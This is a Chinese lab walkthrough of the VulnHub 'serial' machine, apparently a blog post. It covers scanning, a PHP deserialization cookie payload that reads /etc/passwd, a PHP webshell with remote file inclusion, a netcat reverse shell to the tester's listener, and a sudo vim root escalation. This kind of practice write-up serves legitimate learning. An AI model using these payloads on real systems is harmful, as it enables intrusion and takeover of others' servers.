serial靶机教程

靶机下载地址

https://download.vulnhub.com/serial/serial.zip

主机发现

arp-scan -l

端口扫描

nmap 192.168.229.131 -A

根据对⽐可知serial的⼀个ip地址为192.168.47.143

该靶机开启了22端⼝和80端⼝

对⽹站进⾏⼀个访问,⼤概意思为这是对新的cookie处理程序的测试版暂且搁置

目录扫描

dirb http://192.168.229.131

访问网站

发现⼀个zip⽂件

解压查看

index.php⽂件中包含user.class.php⽂件且对cookie中的user参数进⾏了序列化和base64编码

user.class.php⽂件包含log.class.php⽂件且定义了Welcome和User两个类并调⽤了

log.class.php⽂件中的handler函数

log.class.php定义了Log类和成员变量type_log且handler函数对变量进⾏了⽂件包含和输出

没有得到有用的信息

访问原⽹站,⽤Burpsuite抓包查看cookie

发现其为base64编码,对其进行解码

O:4:"User":2:{s:10:".User.name";s:3:"sk4";s:9:".User.wel";O:7:"Welcome":0:{}}7.

构造payload,尝试读取passwd⽂件

O:4:"User":2:{s:10:" User name";s:5:"admin";s:9:" User wel";O:3:"Log":1:{s:
8:"type_log";s:11:"/etc/passwd";}}

使⽤base64编码

Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHd
lbCI7TzozOiJMb2ciOjE6e3M6MTM6IgBMb2cAdHlwZV9sb2ciO3M6MTE6Ii9ldGMvcGFzc3dkIj
t9fQ==

获取shell

在本机写一个txt

<?php system($_GET['cmd'];?>

在创建一个木马文件

<?php
 class Log {
 private $type_log = "http://本机ip/1.txt";
 }
 class User {
 private $name = "admin";
 private $wel;
 function __construct() {
 $this->wel = new Log();
 }
}
$obj = new User();
echo base64_encode(serialize($obj));

访问php文件

在kali开启一个监听

反弹shell

?cmd=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.229.132
+8888+>/tmp/f

反弹成功

提权

查看系统版本,内核版本

切换到根目录

cd /
ls

查看文件

cat credentials.txt.bak

使用远程连接使用之前扫出来的21端口

ssh sk4@192.168.229.131

尝试进入root

用sudo vim,进⼊到命令模式输⼊!bash

以下则是提权成功

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值